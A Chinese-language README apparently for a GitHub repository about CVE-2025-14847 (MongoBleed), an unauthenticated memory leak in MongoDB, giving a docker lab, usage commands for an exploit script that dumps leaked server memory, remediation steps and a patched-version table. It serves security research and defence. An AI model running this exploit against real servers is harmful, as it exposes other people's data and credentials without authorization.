👨💻 作者: Furkan KAYAPINAR (@FurkanKAYAPINAR)
⚠️ 仅供教育用途
针对 MongoDB Server 中严重的未授权内存泄漏漏洞的实验环境及利用脚本。
CVE-2025-14847 (MongoBleed) 是 MongoDB Server 的 zlib 压缩处理中存在的一个严重的未授权内存泄漏漏洞。
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2025-14847 |
| CVSS 评分 | 8.7 (高危) |
| 攻击向量 | 网络 |
| 身份验证 | 无需 |
| 披露日期 | 2025 年 12 月 19 日 |
漏洞存在于 message_compressor_zlib.cpp 中。在处理 OP_COMPRESSED 消息时:
uncompressedSize 分配缓冲区泄露的数据可能包括:
# 克隆仓库
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB
# 创建虚拟环境
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# venv\Scripts\activate # Windows
# 安装依赖
pip install -r requirements.txt
启动一个存在漏洞的 MongoDB 实例用于测试:
cd lab
# 启动存在漏洞的 MongoDB (6.0.26,启用 zlib)
docker-compose up -d
# 确认运行状态
docker-compose ps
# 加载样本数据(可选)
./setup.sh load-data
# 停止实验环境
docker-compose down
# 单个目标
python exploit/mongobleed.py -u 127.0.0.1
# 指定端口
python exploit/mongobleed.py -u 127.0.0.1 -p 27017
# 将泄露数据保存到文件
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin
# 多次迭代以获取更多数据
python exploit/mongobleed.py -u 127.0.0.1 -i 20
# 安静模式(减少输出)
python exploit/mongobleed.py -u 127.0.0.1 -q
# 不输出十六进制转储(文本输出)
python exploit/mongobleed.py -u 127.0.0.1 --text
# 更新到已修复版本
# 以 MongoDB 6.x 为例
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27
# 启动 mongod 时不启用 zlib
mongod --networkMessageCompressors snappy,zstd
# 或在 mongod.conf 中配置
net:
compression:
compressors: snappy,zstd
python remediation/verify_fix.py --target 127.0.0.1 --port 27017
🚨 警告
本工具仅用于教育和授权的安全测试。
- 未经授权访问计算机系统是违法行为
- 您需对自己的行为承担全部责任
- 作者不对任何滥用行为承担责任
使用本工具即表示您确认已获得测试目标系统的适当授权。
欢迎贡献!请先阅读 CONTRIBUTING.md。
本项目采用 MIT 许可证 - 详见 LICENSE 文件。
| 版本范围 | 修复版本 |
|---|
| 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.0 - 7.0.26 | 7.0.28 |
| 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.0 - 4.4.29 | 4.4.30 |
| 所有 4.2、4.0、3.6 版本 | 已终止支持 - 请立即升级 |